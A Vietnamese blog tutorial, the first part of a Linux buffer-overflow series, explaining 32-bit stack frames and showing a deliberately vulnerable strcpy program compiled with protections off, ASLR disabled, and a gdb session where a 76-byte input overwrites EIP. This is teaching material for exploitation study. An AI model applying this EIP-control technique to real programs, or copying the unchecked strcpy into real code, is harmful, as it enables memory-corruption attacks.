Linux Exploit – Buffer Overflow – Phần 1 – Giới thiệu về stack và lỗi buffer overflow

Chào mọi người, đây là bài viết đầu tiên của mình mở đầu series binary exploit trên linux. Bài viết đầu tiên của mình sẽ tập trung giới thiệu về cấu trúc của stack, lỗi buffer overflow và cách khai thác cơ bản. Từ các bài viết sau sẽ dần nâng cao độ khó, bypass

Chào mọi người, đây là bài viết đầu tiên của mình mở đầu series binary exploit trên linux. Bài viết đầu tiên của mình sẽ tập trung giới thiệu về cấu trúc của stack, lỗi buffer overflow và cách khai thác cơ bản. Từ các bài viết sau sẽ dần nâng cao độ khó, bypass các phương pháp chống khai thác trên linux.

1. Stack và các bước khi một lệnh gọi hàm được thực hiện

Series này mình sẽ không đi sâu vào stack, hay khái niệm và các chức năng của các thanh ghi, nhưng kiến thức này hiện tại trên google đã có rất nhiều bài viết, mọi người có thể tìm hiểu đọc thêm trước khi đọc bài viết của mình. Trong bài này, mình thực hiện giới thiệu và khai thác trên hệ thông 32 bits.

Đầu tiên, khi một lệnh gọi hàm được thực hiện, có 3 bước sẽ được thực hiện:

  • Đặt các tham số của hàm vào stack theo thứ tự ngược lại. Ví dụ void func(int a, int b)
    được đặt vào stack theo thứ tự b rồi đến a.
  • Đặt con trỏ EIP vào stack, đây được coi là return address để khi hàm thực hiện xong, chương trình sẽ biết được lệnh tiếp theo để thực hiện
  • Lệnh gọi hàm được gọi (call function)

Sau khi hàm được gọi, nó có trách nhiệm thực hiện lần lượt các nhiệm vụ sau:

  • Lưu thanh ghi EBP hiện tại vào stack
  • Lưu ESP vào EBP
  • Giảm EBP để tạo khoảng trống lưu trữ biến cục bộ của hàm vào stack

=> Quá trình này được gọi là function prolog

Ví dụ về function prolog: (assembly theo cấu trúc intel)

push ebp #lưu ebp vào stack
mov ebp, esp #ebp = esp
push ebx #không cần quan tâm
sub esp, 0x194 #giảm giá trị của esp để tạo khoảng trống lưu trữ, vì stack từ low memory đến high memory, các bạn tham khảo hình minh họa ở dưới

Sau khi hàm thực hiện xong, esp tăng đến ebp để xóa stack (xóa vùng bộ nhớ ban đầu đã tạo), eip đã lưu được lấy ra để thực hiện lệnh tiếp theo

=> quá trình này được gọi là function epilog
Ví dụ:

leave
ret

Trong đó, lệnh leave có dạng như sau:

mov esp, ebp
pop ebp

Lệnh ret chính là lấy giá trị eip trong stack ra.
Dưới đây là ví dụ 1 stack fram khi thực hiện 1 lệnh gọi hàm func(int value1, int value2)

Với các bước được thực hiện khi lệnh gọi hàm thực hiện, và kết thúc, con trỏ esp và ebp luôn được đưa về đúng giá trị ban đầu và chương trình luôn biết lệnh tiếp theo phải thực hiện sau khi kết thúc function.

2. Debug với gdb (gef) và cách khai thác lỗi buffer overflow đơn giản

Mình có 1 file victim.c đơn giản như sau:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
	char array[64];
	if(argc>1)
		strcpy(array, argv[1]);
}

Sau khi đọc qua chương trình, mình nhận ra chương trình sử dụng hàm strcpy (copy chuỗi), một lỗ hổng của hàm này là không quy định số kí tự copy, vì vậy, nếu mảng array chứa tối đa 64 kí tự, mà argv[1] lớn hơn 64 kí tự thì hàm vẫn thực hiện, từ đó gây ra lỗi trong stack.

Sau khi lệnh gọi hàm main được gọi, stack sẽ có dạng như sau:

Mình tiến hành compile chương trình bằng gcc với các option như sau:

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim

Trong đó:

  • -m32: biên dịch chương trình 32 bits
  • -z execstack: cho phép thực thi trong ngăn xếp
  • -mpreferred-stack-boundary=2 : Sử dụng DWORD size stack
  • fno-stack-protector: tắt stack canary

Ở đây mình đã tắt hết các cơ chế bảo vệ stack, phần sau của series thực hiện bypass các cơ chế này mình sẽ nói chi tiết hơn.

Đồng thời, các bạn cần tắt chế độ ALSR (Address Space Layout Randomization) trên linux, chế độ gọi là ngẫu nhiên hóa địa chỉ, mình thấy có 1 bài viết trên viblo đã nói về chế độ này, các bạn có thể đọc ở đây, https://viblo.asia/p/aslr-la-gi-va-tai-sao-no-giup-he-thong-cua-chung-ta-an-toan-hon-WAyK8PQWKxX. Ở phần nâng cao mình sẽ nói về cách bypass ALSR.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Tiến hành gỡ lỗi bằng gdb (gef) (link github gef: https://github.com/hugsy/gef)

Tạo breakpoint tại main

gef➤  b *main
Breakpoint 1 at 0x118d

Chạy chương trình với đối số: “test”:

gef➤  r "test"
Starting program: /home/kali/Desktop/Binary Exploit/victim "test"
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc9000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x5655618d in main ()



[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x5655618d  →  <main+0> push ebp
$ebx   : 0xf7e1eff4  →  0x0021ed8c
$ecx   : 0xcce83e32
$edx   : 0xffffd110  →  0xf7e1eff4  →  0x0021ed8c
$esp   : 0xffffd0ec  →  0xf7c213b5  →   add esp, 0x10
$ebp   : 0xf7ffd020  →  0xf7ffd9e0  →  0x56555000  →   jg 0x56555047
$esi   : 0xffffd1a4  →  0xffffd361  →  "/home/kali/Desktop/Binary Exploit/victim"
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x5655618d  →  <main+0> push ebp
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────── stack ────
0xffffd0ec│+0x0000: 0xf7c213b5  →   add esp, 0x10        ← $esp
0xffffd0f0│+0x0004: 0x00000002
0xffffd0f4│+0x0008: 0xffffd1a4  →  0xffffd361  →  "/home/kali/Desktop/Binary Exploit/victim"
0xffffd0f8│+0x000c: 0xffffd1b0  →  0xffffd38f  →  "COLORFGBG=15;0"
0xffffd0fc│+0x0010: 0xffffd110  →  0xf7e1eff4  →  0x0021ed8c
0xffffd100│+0x0014: 0xf7e1eff4  →  0x0021ed8c
0xffffd104│+0x0018: 0x5655618d  →  <main+0> push ebp
0xffffd108│+0x001c: 0x00000002
──────────────────────────────────────────────────────────────── code:x86:32 ────
   0x56556184 <frame_dummy+4>  jmp    0x565560e0 <register_tm_clones>
   0x56556189 <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
   0x5655618c <__x86.get_pc_thunk.dx+3> ret    
 → 0x5655618d <main+0>         push   ebp
   0x5655618e <main+1>         mov    ebp, esp
   0x56556190 <main+3>         push   ebx
   0x56556191 <main+4>         sub    esp, 0x40
   0x56556194 <main+7>         call   0x565561c5 <__x86.get_pc_thunk.ax>
   0x56556199 <main+12>        add    eax, 0x2e5b
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "victim", stopped 0x5655618d in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5655618d → main()
─────────────────────────────────────────────────────────────────────────────────
gef➤  

Đây là các thông tin trước khi chương trình chạy vào hàm main, chú ý vào phần assembly, ta lấy function prolog, như sau:

   0x5655618d <main+0>         push   ebp
   0x5655618e <main+1>         mov    ebp, esp
   0x56556190 <main+3>         push   ebx
   0x56556191 <main+4>         sub    esp, 0x40

Đây là lý do vì sao trong phần minh họa ở trên, mình có thêm 4 bytes của thanh ebx. Như vậy theo tính toán, để ghi đè thanh ghi eip, nhằm chuyển hướng đến shell code sau khi function main thực hiện xong, ta cần số bytes là:

số bytes = 64 bytes array + 4 bytes ebx + 4 bytes ebp + 4 bytes eip = 76 bytes

Tiến hành chạy chương trình với input 76 bytes:

r `python -c 'print("A"*72+"BBBB")'`

Kết quả nhận được như sau:

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Trong đó 0x42 tương ứng với B trong ascii. Vậy tính toán của chúng ta đã chính xác. Nhờ vào việc kiểm soát con trỏ eip, giờ đây có thể chuyển hướng chương trình tùy thích. Mình sẽ thực hiện chuyển hướng đến 1 shellcode trong bài viết tiếp theo.

Nguồn: viblo.asia

Bài viết liên quan

WebP là gì? Hướng dẫn cách để chuyển hình ảnh jpg, png qua webp

WebP là gì? WebP là một định dạng ảnh hiện đại, được phát triển bởi Google

Điểm khác biệt giữa IPv4 và IPv6 là gì?

IPv4 và IPv6 là hai phiên bản của hệ thống địa chỉ Giao thức Internet (IP). IP l

Check nameservers của tên miền xem website trỏ đúng chưa

Tìm hiểu cách check nameservers của tên miền để xác định tên miền đó đang dùn

Mình đang dùng Google Domains để check tên miền hàng ngày

Từ khi thông báo dịch vụ Google Domains bỏ mác Beta, mình mới để ý và bắt đầ